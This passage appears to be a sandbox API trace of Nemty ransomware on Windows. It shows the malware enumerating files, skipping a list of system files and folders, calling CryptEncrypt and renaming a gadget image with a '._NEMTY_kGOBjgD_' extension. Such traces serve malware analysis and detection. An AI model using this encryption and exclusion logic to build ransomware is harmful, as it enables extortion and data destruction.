lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.643] CloseHandle (hObject=0xffffffff) returned 0 [0121.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0121.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0121.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png._nemty_kgobjgd_")) returned 0 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0121.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.644] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b825e2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b825e2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d87, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="square_settings.png", cAlternateFileName="")) returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2=".") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="..") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="...") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="windows") returned -1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="rsa") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="NTDETECT.COM") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="ntldr") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="MSDOS.SYS") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="IO.SYS") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="boot.ini") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="boot.ini") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="ntuser.dat") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="desktop.ini") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="CONFIG.SYS") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="RECYCLER") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="bootmgr") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="programdata") returned 1 [0121.644] lstrcmpiW (lpString1="square_settings.png", lpString2="appdata") returned 1 [0121.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0121.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0121.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_settings.png", lpUsedDefaultChar=0x0) returned 19 [0121.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0121.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0121.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_settings.png", lpUsedDefaultChar=0x0) returned 19 [0121.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0121.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0121.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0121.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_settings.png", lpUsedDefaultChar=0x0) returned 19 [0121.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0121.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0121.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_settings.png", lpUsedDefaultChar=0x0) returned 19 [0121.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340330 [0121.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0121.645] Sleep (dwMilliseconds=0x5) [0121.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc2766f0, dwHighDateTime=0x1d561e7)) [0121.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc2766f0, dwHighDateTime=0x1d561e7)) [0121.647] GetLastError () returned 0x5 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.647] GetLastError () returned 0x5 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0121.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.647] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403e8 [0121.647] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403e8, pcchString=0x653e91c | out: pszString="e/sz5hLZh4oFcFbMYaPDCxSvDHG5Tn942F4PYc48+qPYl7WOQmDvPOLjnHDgoxJK\r\ndPpKSq1HrJQ4UMGqO4mm+6rFQ7HRxsdfdc4NlWcNyPZBwbIm3Y9Z4Xeo8E7GN3YT\r\n6nWxULwLGdWeS8jutkipstJfohRGDuhei9njoDgX7mgI80a5jP1GqDU/piaxs7vm\r\nFolH+nCpG2e3hUJ1KCardAQ2f6XvBIuX/Qjscn/8AMUS2Sb7D7TWKvEC9wjtbiN9\r\nKtCRmKbUrJoD3tWYaT8NV2vOHTKbKbwzHUBe7/svmRCVhQvqugHuuuS7XxF4RPVk\r\nTWmCJlhGpF8WUQLM9ii9Ag==\r\n", pcchString=0x653e91c) returned 1 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0121.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403e8 [0121.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.647] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.648] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.723] SetFilePointer (in: hFile=0xffffffff, 